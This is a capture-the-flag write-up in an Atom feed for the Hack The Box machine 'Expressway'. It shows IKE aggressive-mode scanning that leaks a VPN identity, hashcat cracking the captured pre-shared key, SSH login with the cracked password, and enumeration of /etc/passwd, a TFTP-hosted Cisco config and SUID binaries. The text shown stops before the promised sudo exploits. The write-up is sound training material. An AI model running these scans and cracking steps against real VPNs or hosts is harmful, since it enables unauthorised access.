<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://0xdf.gitlab.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0xdf.gitlab.io/" rel="alternate" type="text/html" /><updated>2026-03-07T17:45:26+00:00</updated><id>https://0xdf.gitlab.io/feed.xml</id><title type="html">0xdf hacks stuff</title><subtitle>CTF solutions, malware analysis, home lab development</subtitle><entry><title type="html">HTB: Expressway</title><link href="https://0xdf.gitlab.io/2026/03/07/htb-expressway.html" rel="alternate" type="text/html" title="HTB: Expressway" /><published>2026-03-07T14:45:00+00:00</published><updated>2026-03-07T14:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/03/07/htb-expressway</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/03/07/htb-expressway.html"><![CDATA[<picture>
    <source type="image/webp" srcset="/img/expressway-cover.webp" />
    <img loading="lazy" src="/img/expressway-cover.png" alt="Expressway" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Expressway is a Linux box with only SSH and an IKE VPN service on UDP. I’ll use <code class="language-plaintext highlighter-rouge">ike-scan</code> in aggressive mode to leak the VPN identity and capture a pre-shared key hash, which cracks quickly with hashcat. Connecting to the IPSEC VPN doesn’t provide any additional attack surface, but the PSK works for SSH access. For privilege escalation, I’ll show exploitation of two different CVEs in sudo. In Beyond Root, I’ll look at the sudo config that allowed one of the exploits and show how to connect to the IPSec VPN with strongSwan.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/736 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/expressway" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-expressway.webp" />
          <img src="/icons/box-expressway.png" alt="Expressway" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/expressway" target="_blank" class="htb-box-name">Expressway</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Easy">
      Easy
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1968714178098577919">20 Sep 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">07 Mar 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Linux.webp" /><img src="/icons/Linux.png" alt="Linux" /></picture>
          Linux
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="/img/expressway-diff.webp" />
          <img src="/img/expressway-diff.png" alt="Rated difficulty for Expressway" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="/img/expressway-radar.webp" />
          <img src="/img/expressway-radar.png" alt="Radar chart for Expressway" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:07:26</span></span><a href="https://app.hackthebox.com/users/1689134" target="_blank" rel="noopener"><img alt="VXXDXX" src="https://www.hackthebox.com/badge/image/1689134" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> VXXDXX</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:15:30</span></span><a href="https://app.hackthebox.com/users/1672990" target="_blank" rel="noopener"><img alt="D4rKaCe" src="https://www.hackthebox.com/badge/image/1672990" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> D4rKaCe</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/17571" target="_blank" rel="noopener"><img alt="dakkmaddy" src="https://www.hackthebox.com/badge/image/17571" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> dakkmaddy</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds only one open TCP port, SSH (22):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.13.71
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:58 UTC
...[snip]...
Nmap scan report for 10.129.13.71
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2026-03-01 19:58:00 UTC for 7s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
           Raw packets sent: 70778 (3.114MB) | Rcvd: 65536 (2.621MB)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 22 <span class="nt">-sCV</span> 10.129.13.71
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:59 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#debian">OpenSSH version</a>, the host is likely running Debian Trixie (2025).</p>

<p>That’s clearly not much of an attack surface. I’ll scan the top 1000 UDP ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-sU</span> <span class="nt">--min-rate</span> 10000 10.129.13.71
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:06 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
137/udp   closed netbios-ns
500/udp   open   isakmp
20848/udp closed unknown
40866/udp closed unknown
49640/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-sU</span> <span class="nt">-p</span> 500 <span class="nt">-sCV</span> 10.129.13.71
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:07 UTC
Nmap scan report for 10.129.13.71
Host is up (0.022s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.52 seconds
</span></code></pre></div></div>

<p>500 is Internet Key Exchange (IKE), the protocol used for setting up IPSEC VPN connections.</p>

<p>It turns out that TFTP is open as well (UDP 69), but it’s very hard to identify with <code class="language-plaintext highlighter-rouge">nmap</code> (and I didn’t when enumerating). I’ll show it is open and hosting a file <a href="#tftp--cisco-config">later</a>.</p>

<h3 id="ike---udp-500">IKE - UDP 500</h3>

<p>The tool to enumerate IKE is <code class="language-plaintext highlighter-rouge">ike-scan</code> (<code class="language-plaintext highlighter-rouge">sudo apt install ike-scan</code>):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ike-scan 10.129.13.71
<span class="go">Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71    Main Mode Handshake returned HDR=(CKY-R=e87be20a68db8232) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
</span></code></pre></div></div>

<p>IKE also has a mode known as Aggressive Mode. For the Main Mode IKE exchange, there are six packets exchanged:</p>

<ol>
  <li>SA proposal (encryption/hash/DH group)</li>
  <li>SA accepted</li>
  <li>Key exchange (DH public values)</li>
  <li>Key exchange response</li>
  <li>Identity + hash (encrypted)</li>
  <li>Identity + hash response (encrypted)</li>
</ol>

<p>In Aggressive Mode, there are only three packets:</p>

<ol>
  <li>SA proposal + key exchange + identity + hash (all at once)</li>
  <li>SA accepted + key exchange + hash</li>
  <li>Confirmation</li>
</ol>

<p>Aggressive Mode is needed when the VPN server hosts multiple groups/users with different pre-shared keys (PSKs). The server needs to know the identity upfront to look up the right PSK. Main mode can’t do this because identity is encrypted, so the server would have no way to know which PSK to use for decryption.</p>

<p>The downside is that it leaks the identity information before any authentication is done. It is enabled on Expressway.</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ike-scan <span class="nt">-A</span> 10.129.13.71
<span class="go">Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71    Aggressive Mode Handshake returned HDR=(CKY-R=47b7c6c3686400a8) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
</span></code></pre></div></div>

<p>It leaks an identity, <code class="language-plaintext highlighter-rouge">ike@expressway.htb</code>. I can capture the handshake and see if the PSK is crackable:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ike-scan <span class="nt">-A</span> 10.129.13.71 <span class="nt">--pskcrack</span><span class="o">=</span>handshake.txt
<span class="go">Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71    Aggressive Mode Handshake returned HDR=(CKY-R=66937bae6c61c21c) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.031 seconds (32.16 hosts/sec).  1 returned handshake; 0 returned notify
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>handshake.txt 
<span class="go">5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hashcat</code> is able to recognize the format and cracks it in 11 seconds on my host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat handshake.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5400 | IKE-PSK SHA1 | Network Protocol
...[snip]...
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1:freakingrockstarontheroad
...[snip]...
</span></code></pre></div></div>

<p>With this PSK, I can connect to the IPSEC VPN, but I don’t need to. I’ll do that in <a href="#connecting-ipsec-vpn">Beyond Root</a>.</p>

<h2 id="shell-as-ike">Shell as ike</h2>

<p>With SSH open and a username and password, I’ll check if that works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ssh 10.129.13.71 <span class="nt">-u</span> ike <span class="nt">-p</span> freakingrockstarontheroad
<span class="netexec-protocol">SSH </span><span class="go">        10.129.13.71    22     10.129.13.71     </span><span class="netexec-logmessage">[*]</span><span class="go"> SSH-2.0-OpenSSH_10.0p2 Debian-8
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.13.71    22     10.129.13.71     </span><span class="netexec-logsuccess">[+]</span><span class="go"> ike:freakingrockstarontheroad  Linux - Shell access!
</span></code></pre></div></div>

<p>It does! I’ll connect:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> freakingrockstarontheroad ssh ike@10.129.13.71
<span class="go">...[snip]...
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
...[snip]...
</span><span class="gp">ike@expressway:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>And grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">df75d613************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="users">Users</h4>

<p>ike’s home directory is pretty bare:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 32
drwx------ 4 ike  ike  4096 Sep 16 10:23 .
drwxr-xr-x 3 root root 4096 Aug 14  2025 ..
lrwxrwxrwx 1 root root    9 Aug 29  2025 .bash_history -&gt; /dev/null
-rw-r--r-- 1 ike  ike   220 May 18  2025 .bash_logout
-rw-r--r-- 1 ike  ike  3526 Aug 28  2025 .bashrc
drwxr-xr-x 3 ike  ike  4096 Aug 28  2025 .local
-rw-r--r-- 1 ike  ike   807 May 18  2025 .profile
drwx------ 2 ike  ike  4096 Sep 16 10:21 .ssh
-rw-r----- 1 root ike    33 Mar  1 19:56 user.txt
</span></code></pre></div></div>

<p>There is an SSH keypair in <code class="language-plaintext highlighter-rouge">.ssh</code>, but that doesn’t gain any additional access.</p>

<p>There are no other user home directories in <code class="language-plaintext highlighter-rouge">/home</code>, and no other non-root users with shells in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash
</span></code></pre></div></div>

<p>ike can’t run any commands with <code class="language-plaintext highlighter-rouge">sudo</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span> 
<span class="go">
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

</span><span class="c">    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.
</span><span class="go">
For security reasons, the password you type will not be visible.

Password: 
Sorry, user ike may not run sudo on expressway.
</span></code></pre></div></div>

<h4 id="tftp--cisco-config">TFTP / Cisco Config</h4>

<p>In <code class="language-plaintext highlighter-rouge">/srv/tftp/ciscortr.cfg</code> there’s a Cisco config:</p>

<div class="language-plaintext code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code>version 12.3

no service pad

service timestamps debug datetime msec

service timestamps log datetime msec

no service password-encryption

!

hostname expressway

!

boot-start-marker

boot-end-marker

!

enable password *****

!

username ike password *****

ip subnet-zero

ip cef

!

vpdn enable

        vpdn-group 1

        request-dialin

        protocol pppoe



!

ip dhcp excluded-address 10.0.1.1 10.0.1.10

ip dhcp excluded-address 10.0.2.1 10.0.2.10

ip dhcp excluded-address 10.0.3.1 10.0.3.10

!

ip dhcp pool vlan1

   network 10.0.1.0 255.255.255.0

   default-router 10.0.1.1

!

ip dhcp pool vlan2

   network 10.0.2.0 255.255.255.0

   default-router 10.0.2.1

!

ip dhcp pool vlan3

   network 10.0.3.0 255.255.255.0

   default-router 10.0.3.1

!

ip ips po max-events 100

no ftp-server write-enable

!

bridge irb

!

interface FastEthernet0

        no ip address

!

interface FastEthernet1

        no ip address

!

interface FastEthernet2

        no ip address

!

interface FastEthernet3

        switchport mode trunk

        no ip address

!

interface FastEthernet4

        ip address 192.168.68.1 255.255.255.0

        no ip directed-broadcast (default)

        speed auto

        ip nat outside

        ip access-group 103 in

        no cdp enable

        crypto ipsec client ezvpn ezvpnclient outside

        crypto map static-map

!

crypto isakmp policy 1

        encryption 3des

        authentication pre-share

        group 2

        lifetime 480

!

crypto isakmp client configuration group rtr-remote

        key secret-password

        dns 208.67.222.222

        domain expressway.htb

        pool dynpool

!

crypto ipsec transform-set vpn1 esp-3des esp-md5

!

crypto ipsec security-association lifetime seconds 86400

!

crypto dynamic-map dynmap 1

        set transform-set vpn1

        reverse-route

!

crypto map static-map 1 ipsec-isakmp dynamic dynmap

crypto map dynmap isakmp authorization list rtr-remote

crypto map dynmap client configuration address respond

crypto ipsec client ezvpn ezvpnclient

        connect auto

        group 2 key secret-password

        mode client

        peer 192.168.100.1

!

interface Dot11Radio0

        no ip address

        !

        broadcast-key vlan 1 change 45

        !

        encryption vlan 1 mode ciphers tkip

        !

        ssid cisco

                vlan 1

                authentication open

                authentication network-eap eap_methods

                authentication key-management wpa optional

        !

        ssid ciscowep

                vlan 2

                authentication open

                !

        ssid ciscowpa

                vlan 3

                authentication open

        !

        speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0

        rts threshold 2312

        power local cck 50

        power local ofdm 30

        channel 2462

        station-role root

!

interface Dot11Radio0.1

        description Cisco Open

        encapsulation dot1Q 1 native

        no cdp enable

        bridge-group 1

        bridge-group 1 subscriber-loop-control

        bridge-group 1 spanning-disabled

        bridge-group 1 block-unknown-source

        no bridge-group 1 source-learning

        no bridge-group 1 unicast-flooding

!

interface Dot11Radio0.2

        encapsulation dot1Q 2

        bridge-group 2

        bridge-group 2 subscriber-loop-control

        bridge-group 2 spanning-disabled

        bridge-group 2 block-unknown-source

        no bridge-group 2 source-learning

        no bridge-group 2 unicast-flooding

!

interface Dot11Radio0.3

        encapsulation dot1Q 3

        bridge-group 3

        bridge-group 3 subscriber-loop-control

        bridge-group 3 spanning-disabled

        bridge-group 3 block-unknown-source

        no bridge-group 3 source-learning

        no bridge-group 3 unicast-flooding

!

interface Vlan1

        no ip address

        no ip directed-broadcast (default)

        ip nat inside

        crypto ipsec client ezvpn ezvpnclient inside

        ip inspect firewall in

        no cdp enable

        bridge-group 1

        bridge-group 1 spanning-disabled

!

interface Vlan2

        no ip address

        bridge-group 2

        bridge-group 2 spanning-disabled

!

interface Vlan3

        no ip address

        bridge-group 3

        bridge-group 3 spanning-disabled

!

interface BVI1

        ip address 10.0.1.1 255.255.255.0

!

interface BVI2

        ip address 10.0.2.1 255.255.255.0

!

ip classless

!

ip http server

no ip http secure-server

!

control-plane

!

bridge 1 route ip

bridge 2 route ip

bridge 3 route ip

!

ip inspect name firewall tcp

ip inspect name firewall udp

!

access-list 103 permit udp host 200.1.1.1 any eq isakmp

access-list 103 permit udp host 200.1.1.1 eq isakmp any

no cdp run

!

line con 0

        password *****

        no modem enable

        transport preferred all

        transport output all

line aux 0

        transport preferred all

        transport output all

line vty 0 4

        password *****

        transport preferred all

        transport input all

        transport output all
</code></pre></div></div>

<p>It contains credentials, but they are all masked as “*”s:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">enable password *****</code></li>
  <li><code class="language-plaintext highlighter-rouge">username ike password *****</code></li>
  <li>Both <code class="language-plaintext highlighter-rouge">line con 0</code> and <code class="language-plaintext highlighter-rouge">line vty 0 4</code> have password <code class="language-plaintext highlighter-rouge">*****</code></li>
</ul>

<p>The VPN config shows a peer at 192.168.100.1. There’s also three VLANs with DHCP pools: 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24. There are three wireless SSIDs: cisco, ciscowep, ciscowpa.</p>

<p>I wasn’t able to identify TFTP <a href="#initial-scanning">earlier</a>, and even if I had, TFTP doesn’t allow directory listing. But knowing the name of the file here I can get it remotely:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl tftp://10.129.13.71/ciscortr.cfg <span class="nt">-s</span> | <span class="nb">head</span>
<span class="go">
version 12.3

no service pad

service timestamps debug datetime msec

service timestamps log datetime msec

no service password-encryption
</span></code></pre></div></div>

<h4 id="squid">Squid</h4>

<p><a href="https://www.squid-cache.org/">Squid proxy</a> is installed on the system in <code class="language-plaintext highlighter-rouge">/etc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/etc/squid$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">conf.d  errorpage.css  squid.conf  squid.conf.dpkg-dist
</span></code></pre></div></div>

<p>There are also access logs in <code class="language-plaintext highlighter-rouge">/var/log/squid</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/var/log/squid$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">access.log.1  access.log.2.gz  cache.log.1  cache.log.2.gz
</span></code></pre></div></div>

<p>It doesn’t appear to be running, as it’s not in the process list nor is anything listening on 3128.</p>

<h4 id="sudo">sudo</h4>

<p>The SetUID binaries on Expressway look pretty normal at first glance:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">ike@expressway:/$</span><span class="w"> </span>find / <span class="nt">-perm</span> <span class="nt">-4000</span> <span class="nt">-type</span> f 2&gt;/dev/null
<span class="go">/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
</span></code></pre></div></div>

